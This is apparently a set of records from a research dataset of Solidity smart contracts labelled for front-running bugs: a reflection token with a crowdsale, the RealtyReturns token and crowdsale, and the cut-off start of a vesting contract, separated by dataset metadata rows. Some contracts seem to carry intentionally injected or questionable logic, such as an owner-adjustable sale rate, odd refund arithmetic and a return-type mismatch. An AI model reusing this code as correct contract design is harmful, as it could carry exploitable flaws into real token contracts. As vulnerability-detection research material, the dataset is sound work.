uint256 private _tBurnTotal;
uint256 private constant _TAX_FEE = 700;
uint256 private constant _BURN_FEE = 300;
uint256 private constant _MAX_TX_SIZE = 2000000 * _DECIMALFACTOR;
constructor () public {
_rOwned[owner()] = _rTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _NAME;
}
function symbol() public view returns (string memory) {
return _SYMBOL;
}
function decimals() public view returns (uint8) {
return _DECIMALS;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "BEP20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "BEP20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function totalBurn() public view returns (uint256) {
return _tBurnTotal;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "BEP20: approve from the zero address");
require(spender != address(0), "BEP20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(sender != owner() && recipient != owner())
require(amount <= _MAX_TX_SIZE, "Transfer amount exceeds the maxTxAmount.");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 rBurn, uint256 tFee, uint256 tBurn) private {
_rTotal = _rTotal.sub(rFee).sub(rBurn);
_tFeeTotal = _tFeeTotal.add(tFee);
_tBurnTotal = _tBurnTotal.add(tBurn);
_tTotal = _tTotal.sub(tBurn);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getTValues(tAmount, _TAX_FEE, _BURN_FEE);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tBurn, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tBurn);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 burnFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = ((tAmount.mul(taxFee)).div(_GRANULARITY)).div(100);
uint256 tBurn = ((tAmount.mul(burnFee)).div(_GRANULARITY)).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tBurn);
return (tTransferAmount, tFee, tBurn);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tBurn, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rBurn = tBurn.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rBurn);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getTaxFee() private view returns(uint256) {
return _TAX_FEE;
}
function _getMaxTxAmount() private view returns(uint256) {
return _MAX_TX_SIZE;
}
// Crowdsale Mechanism
receive() external payable {
buyTokens(msg.sender);
}
function buyTokens(address _beneficiary) public payable {
uint256 weiAmount = msg.value;
_preValidatePurchase(_beneficiary, weiAmount);
// calculate token amount to be created
uint256 tokens = _getTokenAmount(weiAmount);
// update state
weiRaised = weiRaised.add(weiAmount);
_processPurchase(_beneficiary, tokens);
emit TokenPurchase(msg.sender,
_beneficiary,
weiAmount,
tokens);
_updatePurchasingState(weiAmount);
_forwardFunds();
_postValidatePurchase(_beneficiary, weiAmount);
}
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal {
require(_beneficiary != address(0));
require(_weiAmount != 0);
require(!(isDistributionFinished));
}
function _postValidatePurchase(address _beneficiary, uint256 _weiAmount) internal {
// optional override
}
function _deliverTokens(address _beneficiary, uint256 _tokenAmount) internal {
_transfer(owner(), _beneficiary, _tokenAmount);
amountRemaining = amountRemaining.sub(_tokenAmount);
amountDistributed = amountDistributed.add(_tokenAmount);
if(amountRemaining <= 0){
isDistributionFinished = true;
}
}
function _processPurchase(address _beneficiary, uint256 _tokenAmount) internal{
if(_tokenAmount > amountRemaining){
_tokenAmount = amountRemaining;
}
require(_tokenAmount <= amountRemaining);
_deliverTokens(_beneficiary, _tokenAmount);
}
function _updatePurchasingState(uint256 _weiAmount) internal {
// optional override
}
function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) {
return _weiAmount.mul(rate);
}
function _forwardFunds() internal {
owner().transfer(msg.value);
}
}
| 250,300 | 14,017 |
e5866d8709f415c1c1d2c58e47626daa01b335a41471e1928526c87f36ef6171
| 34,626 |
.sol
|
Solidity
| false |
451141221
|
MANDO-Project/ge-sc
|
0adf91ac5bb0ffdb9152186ed29a5fc7b0c73836
|
experiments/ge-sc-data/source_code/front_running/clean_44_buggy_curated_0/0x22f004a328fdb5091376d8eaf83adc5bc2a33846.sol
| 5,604 | 20,448 |
pragma solidity 0.4.24;
// File: zeppelin-solidity/contracts/math/SafeMath.sol
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
// assert(_b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = _a / _b;
// assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold
return _a / _b;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
// File: zeppelin-solidity/contracts/ownership/Ownable.sol
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(address indexed previousOwner,
address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
// File: zeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
// File: zeppelin-solidity/contracts/token/ERC20/ERC20.sol
contract ERC20 is ERC20Basic {
function allowance(address _owner, address _spender)
public view returns (uint256);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool);
event Approval(address indexed owner,
address indexed spender,
uint256 value);
}
// File: zeppelin-solidity/contracts/token/ERC20/SafeERC20.sol
library SafeERC20 {
function safeTransfer(ERC20Basic _token,
address _to,
uint256 _value)
internal
{
require(_token.transfer(_to, _value));
}
function safeTransferFrom(ERC20 _token,
address _from,
address _to,
uint256 _value)
internal
{
require(_token.transferFrom(_from, _to, _value));
}
function safeApprove(ERC20 _token,
address _spender,
uint256 _value)
internal
{
require(_token.approve(_spender, _value));
}
}
// File: zeppelin-solidity/contracts/crowdsale/Crowdsale.sol
contract Crowdsale {
using SafeMath for uint256;
using SafeERC20 for ERC20;
// The token being sold
ERC20 public token;
// Address where funds are collected
address public wallet;
// How many token units a buyer gets per wei.
// The rate is the conversion between wei and the smallest and indivisible token unit.
// So, if you are using a rate of 1 with a DetailedERC20 token with 3 decimals called TOK
// 1 wei will give you 1 unit, or 0.001 TOK.
uint256 public rate;
// Amount of wei raised
uint256 public weiRaised;
event TokenPurchase(address indexed purchaser,
address indexed beneficiary,
uint256 value,
uint256 amount);
constructor(uint256 _rate, address _wallet, ERC20 _token) public {
require(_rate > 0);
require(_wallet != address(0));
require(_token != address(0));
rate = _rate;
wallet = _wallet;
token = _token;
}
// -----------------------------------------
// Crowdsale external interface
// -----------------------------------------
function () external payable {
buyTokens(msg.sender);
}
function buyTokens(address _beneficiary) public payable {
uint256 weiAmount = msg.value;
_preValidatePurchase(_beneficiary, weiAmount);
// calculate token amount to be created
uint256 tokens = _getTokenAmount(weiAmount);
// update state
weiRaised = weiRaised.add(weiAmount);
_processPurchase(_beneficiary, tokens);
emit TokenPurchase(msg.sender,
_beneficiary,
weiAmount,
tokens);
_updatePurchasingState(_beneficiary, weiAmount);
_forwardFunds();
_postValidatePurchase(_beneficiary, weiAmount);
}
// -----------------------------------------
// Internal interface (extensible)
// -----------------------------------------
function _preValidatePurchase(address _beneficiary,
uint256 _weiAmount)
internal
{
require(_beneficiary != address(0));
require(_weiAmount != 0);
}
function _postValidatePurchase(address _beneficiary,
uint256 _weiAmount)
internal
{
// optional override
}
function _deliverTokens(address _beneficiary,
uint256 _tokenAmount)
internal
{
token.safeTransfer(_beneficiary, _tokenAmount);
}
function _processPurchase(address _beneficiary,
uint256 _tokenAmount)
internal
{
_deliverTokens(_beneficiary, _tokenAmount);
}
function _updatePurchasingState(address _beneficiary,
uint256 _weiAmount)
internal
{
// optional override
}
function _getTokenAmount(uint256 _weiAmount)
internal view returns (uint256)
{
return _weiAmount.mul(rate);
}
function _forwardFunds() internal {
wallet.transfer(msg.value);
}
}
// File: zeppelin-solidity/contracts/crowdsale/validation/TimedCrowdsale.sol
contract TimedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public openingTime;
uint256 public closingTime;
modifier onlyWhileOpen {
// solium-disable-next-line security/no-block-members
require(block.timestamp >= openingTime && block.timestamp <= closingTime);
_;
}
constructor(uint256 _openingTime, uint256 _closingTime) public {
// solium-disable-next-line security/no-block-members
require(_openingTime >= block.timestamp);
require(_closingTime >= _openingTime);
openingTime = _openingTime;
closingTime = _closingTime;
}
function hasClosed() public view returns (bool) {
// solium-disable-next-line security/no-block-members
return block.timestamp > closingTime;
}
function _preValidatePurchase(address _beneficiary,
uint256 _weiAmount)
internal
onlyWhileOpen
{
super._preValidatePurchase(_beneficiary, _weiAmount);
}
}
// File: zeppelin-solidity/contracts/crowdsale/distribution/FinalizableCrowdsale.sol
contract FinalizableCrowdsale is Ownable, TimedCrowdsale {
using SafeMath for uint256;
bool public isFinalized = false;
event Finalized();
function finalize() public onlyOwner {
require(!isFinalized);
require(hasClosed());
finalization();
emit Finalized();
isFinalized = true;
}
function finalization() internal {
}
}
// File: zeppelin-solidity/contracts/token/ERC20/BasicToken.sol
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) internal balances;
uint256 internal totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_value <= balances[msg.sender]);
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
// File: zeppelin-solidity/contracts/token/ERC20/StandardToken.sol
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from,
address _to,
uint256 _value)
public
returns (bool)
{
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(_to != address(0));
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner,
address _spender)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(address _spender,
uint256 _addedValue)
public
returns (bool)
{
allowed[msg.sender][_spender] = (allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender,
uint256 _subtractedValue)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
// File: zeppelin-solidity/contracts/token/ERC20/MintableToken.sol
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
function mint(address _to,
uint256 _amount)
public
hasMintPermission
canMint
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() public onlyOwner canMint returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
// File: zeppelin-solidity/contracts/crowdsale/emission/MintedCrowdsale.sol
contract MintedCrowdsale is Crowdsale {
function _deliverTokens(address _beneficiary,
uint256 _tokenAmount)
internal
{
// Potentially dangerous assumption about the type of the token.
require(MintableToken(address(token)).mint(_beneficiary, _tokenAmount));
}
}
// File: zeppelin-solidity/contracts/lifecycle/Pausable.sol
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() public onlyOwner whenNotPaused {
paused = true;
emit Pause();
}
function unpause() public onlyOwner whenPaused {
paused = false;
emit Unpause();
}
}
// File: contracts/RealtyReturnsTokenInterface.sol
contract RealtyReturnsTokenInterface {
function paused() public;
function unpause() public;
function finishMinting() public returns (bool);
}
// File: zeppelin-solidity/contracts/token/ERC20/PausableToken.sol
contract PausableToken is StandardToken, Pausable {
function transfer(address _to,
uint256 _value)
public
whenNotPaused
returns (bool)
{
return super.transfer(_to, _value);
}
function transferFrom(address _from,
address _to,
uint256 _value)
public
whenNotPaused
returns (bool)
{
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender,
uint256 _value)
public
whenNotPaused
returns (bool)
{
return super.approve(_spender, _value);
}
function increaseApproval(address _spender,
uint _addedValue)
public
whenNotPaused
returns (bool success)
{
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender,
uint _subtractedValue)
public
whenNotPaused
returns (bool success)
{
return super.decreaseApproval(_spender, _subtractedValue);
}
}
// File: contracts/RealtyReturnsToken.sol
contract RealtyReturnsToken is PausableToken, MintableToken {
string public constant name = "Realty Returns Token";
string public constant symbol = "RRT";
uint8 public constant decimals = 18;
constructor() public {
pause();
}
}
// File: contracts/LockTokenAllocation.sol
contract LockTokenAllocation is Ownable {
using SafeMath for uint;
uint256 public unlockedAt;
uint256 public canSelfDestruct;
uint256 public tokensCreated;
uint256 public allocatedTokens;
uint256 public totalLockTokenAllocation;
mapping (address => uint256) public lockedAllocations;
ERC20 public RR;
constructor
(ERC20 _token,
uint256 _unlockedAt,
uint256 _canSelfDestruct,
uint256 _totalLockTokenAllocation)
public
{
require(_token != address(0));
RR = ERC20(_token);
unlockedAt = _unlockedAt;
canSelfDestruct = _canSelfDestruct;
totalLockTokenAllocation = _totalLockTokenAllocation;
}
function addLockTokenAllocation(address beneficiary, uint256 allocationValue)
external
onlyOwner
returns(bool)
{
require(lockedAllocations[beneficiary] == 0 && beneficiary != address(0)); // can only add once.
allocatedTokens = allocatedTokens.add(allocationValue);
require(allocatedTokens <= totalLockTokenAllocation);
lockedAllocations[beneficiary] = allocationValue;
return true;
}
function unlock() external {
require(RR != address(0));
assert(now >= unlockedAt);
// During first unlock attempt fetch total number of locked tokens.
if (tokensCreated == 0) {
tokensCreated = RR.balanceOf(this);
}
uint256 transferAllocation = lockedAllocations[msg.sender];
lockedAllocations[msg.sender] = 0;
// Will fail if allocation (and therefore toTransfer) is 0.
require(RR.transfer(msg.sender, transferAllocation));
}
function kill() public onlyOwner {
require(now >= canSelfDestruct);
uint256 balance = RR.balanceOf(this);
if (balance > 0) {
RR.transfer(msg.sender, balance);
}
selfdestruct(owner);
}
}
// File: contracts/RealtyReturnsTokenCrowdsale.sol
contract RealtyReturnsTokenCrowdsale is FinalizableCrowdsale, MintedCrowdsale, Pausable {
uint256 constant public TRESURY_SHARE = 240000000e18; // 240 M
uint256 constant public TEAM_SHARE = 120000000e18; // 120 M
uint256 constant public FOUNDERS_SHARE = 120000000e18; // 120 M
uint256 constant public NETWORK_SHARE = 530000000e18; // 530 M
uint256 constant public TOTAL_TOKENS_FOR_CROWDSALE = 190000000e18; // 190 M
uint256 public crowdsaleSoftCap = 1321580e18; // approximately 1.3 M
address public treasuryWallet;
address public teamShare;
address public foundersShare;
address public networkGrowth;
// remainderPurchaser and remainderTokens info saved in the contract
address public remainderPurchaser;
uint256 public remainderAmount;
address public onePercentAddress;
event MintedTokensFor(address indexed investor, uint256 tokensPurchased);
event TokenRateChanged(uint256 previousRate, uint256 newRate);
constructor
(uint256 _openingTime,
uint256 _closingTime,
RealtyReturnsToken _token,
uint256 _rate,
address _wallet,
address _treasuryWallet,
address _onePercentAddress)
public
FinalizableCrowdsale()
Crowdsale(_rate, _wallet, _token)
TimedCrowdsale(_openingTime, _closingTime)
{
require(_treasuryWallet != address(0));
treasuryWallet = _treasuryWallet;
onePercentAddress = _onePercentAddress;
// NOTE: Ensure token ownership is transferred to crowdsale so it is able to mint tokens
require(RealtyReturnsToken(token).paused());
}
function setRate(uint256 newRate) external onlyOwner {
require(newRate != 0);
emit TokenRateChanged(rate, newRate);
rate = newRate;
}
function setSoftCap(uint256 newCap) external onlyOwner {
require(newCap != 0);
crowdsaleSoftCap = newCap;
}
function mintTokensFor(address beneficiaryAddress, uint256 amountOfTokens)
public
onlyOwner
{
require(beneficiaryAddress != address(0));
require(token.totalSupply().add(amountOfTokens) <= TOTAL_TOKENS_FOR_CROWDSALE);
_deliverTokens(beneficiaryAddress, amountOfTokens);
emit MintedTokensFor(beneficiaryAddress, amountOfTokens);
}
function setTokenDistributionAddresses
(address _teamShare,
address _foundersShare,
address _networkGrowth)
public
onlyOwner
{
// only able to be set once
require(teamShare == address(0x0) && foundersShare == address(0x0) && networkGrowth == address(0x0));
// ensure that the addresses as params to the func are not empty
require(_teamShare != address(0x0) && _foundersShare != address(0x0) && _networkGrowth != address(0x0));
teamShare = _teamShare;
foundersShare = _foundersShare;
networkGrowth = _networkGrowth;
}
// overriding TimeCrowdsale#hasClosed to add cap logic
// @return true if crowdsale event has ended
function hasClosed() public view returns (bool) {
if (token.totalSupply() > crowdsaleSoftCap) {
return true;
}
return super.hasClosed();
}
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount)
internal
whenNotPaused
{
require(_beneficiary != address(0));
require(_weiAmount >= 1 ether);
require(token.totalSupply() < TOTAL_TOKENS_FOR_CROWDSALE);
}
function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) {
uint256 tokensAmount = _weiAmount.mul(rate);
// remainder logic
if (token.totalSupply().add(tokensAmount) > TOTAL_TOKENS_FOR_CROWDSALE) {
tokensAmount = TOTAL_TOKENS_FOR_CROWDSALE.sub(token.totalSupply());
uint256 _weiAmountLocalScope = tokensAmount.div(rate);
// save info so as to refund purchaser after crowdsale's end
remainderPurchaser = msg.sender;
remainderAmount = _weiAmount.sub(_weiAmountLocalScope);
if (weiRaised > _weiAmount.add(_weiAmountLocalScope))
weiRaised = weiRaised.sub(_weiAmount.add(_weiAmountLocalScope));
}
return tokensAmount;
}
function _forwardFunds() internal {
// 1% of the purchase to save in different wallet
uint256 onePercentValue = msg.value.div(100);
uint256 valueToTransfer = msg.value.sub(onePercentValue);
onePercentAddress.transfer(onePercentValue);
wallet.transfer(valueToTransfer);
}
function finalization() internal {
// This must have been set manually prior to finalize().
require(teamShare != address(0) && foundersShare != address(0) && networkGrowth != address(0));
if (TOTAL_TOKENS_FOR_CROWDSALE > token.totalSupply()) {
uint256 remainingTokens = TOTAL_TOKENS_FOR_CROWDSALE.sub(token.totalSupply());
_deliverTokens(wallet, remainingTokens);
}
// final minting
_deliverTokens(treasuryWallet, TRESURY_SHARE);
_deliverTokens(teamShare, TEAM_SHARE);
_deliverTokens(foundersShare, FOUNDERS_SHARE);
_deliverTokens(networkGrowth, NETWORK_SHARE);
RealtyReturnsToken(token).finishMinting();
RealtyReturnsToken(token).unpause();
super.finalization();
}
}
| 132,713 | 14,018 |
6910de5cd78f0b3947b7dbe1c472d146940681d344d178621df8906111e91536
| 29,793 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/e1/e1b812BbD47Ed076730a98ac0E7568E3e5B32c12_TokenVesting.sol
| 3,450 | 13,820 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success,) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeERC20 {
using Address for address;
function safeTransfer(IERC20 token,
address to,
uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token,
address from,
address to,
uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token,
address spender,
uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
